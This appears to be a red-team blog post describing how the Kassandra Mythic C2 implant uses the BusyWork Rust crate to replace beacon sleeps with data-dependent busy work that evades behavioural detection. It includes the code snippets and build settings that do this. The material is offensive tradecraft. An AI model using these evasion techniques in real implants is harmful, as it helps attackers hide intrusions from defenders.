---
title: "BusyWork in Kassandra: Sleep Replacement Without Starving the C2 Loop"
description: "How Kassandra wires the BusyWork crate into its Mythic agent: startup_delay before first check-in, idle between tasking rounds, light churn at feature boundaries, and a hard rule that the HTTP transport path never runs BusyWork."
date: 2026-07-22
category: "Offensive Security"
tags: ["rust", "c2", "mythic", "busywork", "evasion", "behavioral-detection"]
---

This post covers how [Kassandra](https://github.com/PatchRequest/Kassandra) integrates [BusyWork](https://github.com/PatchRequest/BusyWork) as its sleep replacement. The standalone BusyWork library is documented separately ([BusyWork post](/blog/busywork-sleep-replacement)). Here the focus is the agent-side wiring: three call sites with different intensity budgets, real implant data fed into each burst via `.feed()`, and the deliberate decision not to run BusyWork on every C2 POST.

## Why a C2 Agent Cannot Just Call busywork() Everywhere

A Mythic agent has a hard constraint that a game cheat or one-shot tool does not: **operators need tasking to complete**. Upload and download use chunked transfers. A large BOF or loader may issue dozens of HTTP POSTs in a single task. If every POST paid a Medium or High BusyWork tax, Medium builds would sit in "submitted" for minutes while Mythic already had tasks queued.

Kassandra therefore splits BusyWork into three roles instead of sprinkling full-intensity work on every network call:

| API | Intensity | Role |
| --- | --- | --- |
| `startup_delay()` | Configured level | One burst before first check-in |
| `idle()` | Configured level | One full-intensity burst between tasking rounds, then a short jittered yield |
| `churn()` | Always Low, COMPUTE \| MEMORY only | Light noise at feature boundaries |

The build parameter `busywork_intensity` defaults to **medium** and accepts `off` / `low` / `medium` / `high` / `ultra`. Lab builds that need fast tasking use `off` or `low`.

## Build-Time Intensity Template

Intensity is not chosen at runtime by the operator mid-engagement. It is stamped into the binary at Mythic build time. `config.rs` holds a string placeholder that the Python builder replaces:

```rust
// From: kassandra/src/config.rs
pub static busywork_intensity: &str = "%BUSYWORK_INTENSITY%";
```

In `builder.py`, `busywork_intensity` is a `ChooseOne` build parameter with default `"medium"`. The compile step substitutes the chosen value into the config template the same way it stamps callback host, URI, and other payload fields.

`helpers.rs` maps that string to an internal `Level` and then to BusyWork's `Intensity` enum. Unknown values fall back to Medium. `"off"`, `"none"`, and `"disabled"` skip computational work entirely:

```rust
// From: kassandra/src/helpers.rs
fn level() -> Level {
    match config::busywork_intensity {
        "off" | "none" | "disabled" => Level::Off,
        "low" => Level::Low,
        "high" => Level::High,
        "ultra" => Level::Ultra,
        // "medium" and any unknown value default to Medium
        _ => Level::Medium,
    }
}

fn to_intensity(l: Level) -> Option<Intensity> {
    match l {
        Level::Off => None,
        Level::Low => Some(Intensity::Low),
        Level::Medium => Some(Intensity::Medium),
        Level::High => Some(Intensity::High),
        Level::Ultra => Some(Intensity::Ultra),
    }
}
```

## The Main Loop: idle() Between Rounds Only

The agent lifecycle in `main.rs` is short. After self-protect and optional Tailscale or S3 registration, the agent checkins and then loops: get tasking, then idle.

```rust
// From: kassandra/src/main.rs
    selfprotect::set_process_security_descriptor();
    // ...
    helpers::startup_delay();

    // Tailscale / S3 init loops also call helpers::idle() on failure

    checkin::checkin();

    let mut round: u64 = 0;
    loop {
        round += 1;
        match tasking::getTasking() {
            Ok(()) => { /* ... */ }
            Err(e) => { /* ... */ }
        }
        helpers::idle();
    }
```

`idle()` is the main callback-interval surface. Earlier prototypes ran three full-intensity bursts back to back. That made Medium look stuck while Mythic already had work ready. The current design runs **one** burst at the configured intensity, then a short jittered `thread::sleep` so the loop is not a pure spin and so Medium/High stay usable:

```rust
// From: kassandra/src/helpers.rs
pub fn idle() {
    let l = level();
    let Some(i) = to_intensity(l) else {
        // off: jittered sleep only — avoids a fixed 200ms beacon cadence
        std::thread::sleep(Duration::from_millis(jitter_ms(80, 280)));
        return;
    };

    let uuid = config::UUID.read().unwrap();
    black_box(
        BusyWork::new(i)
            .feed(uuid.as_str())
            .feed(config::callback_host)
            .feed(config::user_agent)
            .run(),
    );

    // Small yield only — not a second full intensity tax.
    std::thread::sleep(Duration::from_millis(jitter_ms(20, 120)));
}
```

When intensity is `off`, the agent still avoids a fixed sleep constant. It yields a random 80-280 ms via `getrandom`, so the beacon cadence is not a single hardcoded interval.

The `black_box` around `run()` prevents the compiler from treating the BusyWork result as dead and optimizing the call away. That matters for a crate whose entire purpose is to produce real side effects that static optimizers would otherwise discard.

## startup_delay: One Burst Before First Contact

`startup_delay()` runs once after self-protect and before Tailscale, S3, or check-in. It uses the same configured intensity and the same `feed` set as `idle`, but without the trailing yield. Ultra and High builds intentionally wait longer before the first network contact; off skips the work entirely:

```rust
// From: kassandra/src/helpers.rs
pub fn startup_delay() {
    let Some(i) = to_intensity(level()) else {
        return;
    };
    let uuid = config::UUID.read().unwrap();
    black_box(
        BusyWork::new(i)
            .feed(uuid.as_str())
            .feed(config::callback_host)
            .feed(config::user_agent)
            .run(),
    );
}
```

## churn: Light Noise at Feature Boundaries

Full intensity belongs only in `idle` and `startup_delay`. Hot paths that run many times per task (filesystem ops, crypto, process list, loader stages) use `churn` instead:

```rust
// From: kassandra/src/helpers.rs
pub fn churn(data: &(impl FeedWork + ?Sized)) {
    if level() == Level::Off {
        return;
    }
    black_box(
        BusyWork::new(Intensity::Low)
            .allow(Categories::COMPUTE | Categories::MEMORY)
            .feed(data)
            .run(),
    );
}
```

Three constraints keep `churn` from re-introducing multi-second stalls:

1. **Always Low**, regardless of the build intensity.
2. **COMPUTE and MEMORY only.** No filesystem, registry, network, or WinAPI categories on the hot path.
3. **No-op when BusyWork is off.** Lab builds with `busywork=off` pay nothing.

Call sites pass real work data into `feed`: command names from tasking, path strings, payload slices, output text, hostname and username during check-in. Without `feed`, BusyWork would generate isolated random buffers. With `feed`, the busy block processes the same variables as the surrounding feature code, which is harder for data-flow analysis to dismiss as pure noise [1].

Examples from the agent:

- `tasking.rs` churns once per task with the command string, not once per HTTP chunk.
- `upload.rs` churns once after the full chunked write completes, not per chunk.
- `executeBOF` / `executeDOT` churn on downloaded payload bytes, packed args, and output.
- `reflective_loader.rs` churns between mapping stages (image size, section count, reloc delta, entry RVA, header size).
- `crypto.rs` churns around MAC tags and IVs during encrypt/decrypt.

## The Hard Rule: No BusyWork on the C2 Hot Path

`transport.rs` documents the constraint explicitly. Chunked file and loader transfers issue many POSTs per task. Interval noise must live between rounds, not inside each request:

```rust
// From: kassandra/src/transport.rs
fn send_request_internal(payload: &str, encode: bool) -> Result<String, Box<dyn std::error::Error>> {
    // No BusyWork on the C2 hot path — chunked file/loader transfers issue many
    // POSTs per task. Interval noise lives in helpers::idle() between rounds.
    // ...
```

That single rule is what keeps Medium and High usable. Evasion work still happens: between rounds the implant burns real compute, memory, and (for full-intensity idle) broader categories depending on BusyWork's defaults. During a multi-chunk download, the implant does not tax every POST.

## Dependency Pin and Intensity Ladder

Kassandra depends on BusyWork from the `bump/windows-0.61` branch so the Windows crate versions match the agent:

```toml
# From: kassandra/Cargo.toml
busywork = { git = "https://github.com/PatchRequest/BusyWork", branch = "bump/windows-0.61" }
```

BusyWork's intensity ladder is an order-of-magnitude scale of task count, iteration count, buffer size, and call depth. Earlier ladder values collapsed Medium toward Low wall time; the library was fixed so Medium, High, and Ultra remain a real volume ladder rather than a flat set of caps. Kassandra's agent code does not re-cap intensity. It trusts the library levels and only chooses **where** each level runs (`idle` / `startup_delay` vs always-Low `churn`).

## Where idle() Also Appears Outside the Main Loop

`idle()` is not only the post-tasking yield. Check-in retries, S3 registration retries, and Tailscale init failure paths also call `idle()` so reconnect loops do not become a tight spin with a fixed sleep. That reuses the same interval surface operators already configured at build time.

`churn` during check-in feeds hostname and username so early lifecycle noise is tied to host identity strings rather than anonymous random buffers.

## What This Does and Does Not Buy

**Does:**

- Replaces a pure sleep-based callback interval with varied work that produces real API activity and memory pressure [1][2].
- Keeps the tasking loop responsive under Medium/High by isolating heavy work to `idle` and restricting hot-path noise to Low compute/memory.
- Feeds implant-specific strings into BusyWork so bursts are data-dependent on the live session.
- Gives operators an explicit off switch for lab debugging without code changes.

**Does not:**

- Hide the fact that the process still pauses between C2 rounds. The wall time of a Medium or High idle burst is real. Defenders looking for periodic activity will still see a cadence; the claim is that the *content* of the gap is not a clean sleep.
- Remove all sleeps. `idle` and the off-path still use short jittered `thread::sleep` yields. The long fixed sleep that used to define the beacon interval is what BusyWork replaces.
- Run on every network I/O. That is intentional. Putting full BusyWork on every POST would make the agent unusable under realistic chunk sizes.

## Operator Defaults

| Context | Suggested intensity |
| --- | --- |
| Production-style builds | `medium` (builder default) |
| Lab / debugging tasking | `off` or `low` |
| Longer pre-check-in delay | `high` or `ultra` |

Production defaults in the public tree also set `no_console=true` and `debug_log=false`. Lab work that is validating C2 should prefer BusyWork off or low so task latency does not mask transport bugs.

---

*Drafted with LLM assistance from the [Kassandra](https://github.com/PatchRequest/Kassandra) and [BusyWork](https://github.com/PatchRequest/BusyWork) source code, reviewed and verified against the actual implementation.*

## References

[1] PatchRequest, "BusyWork," GitHub. https://github.com/PatchRequest/BusyWork

[2] PatchRequest, "BusyWork: Replacing Sleep with Real Work to Break Behavioral Detection," patchi.fyi. https://patchi.fyi/blog/busywork-sleep-replacement/

[3] PatchRequest, "Kassandra," GitHub. https://github.com/PatchRequest/Kassandra

[4] Mythic C2 Framework, "Payload Types," GitHub. https://github.com/its-a-feature/Mythic
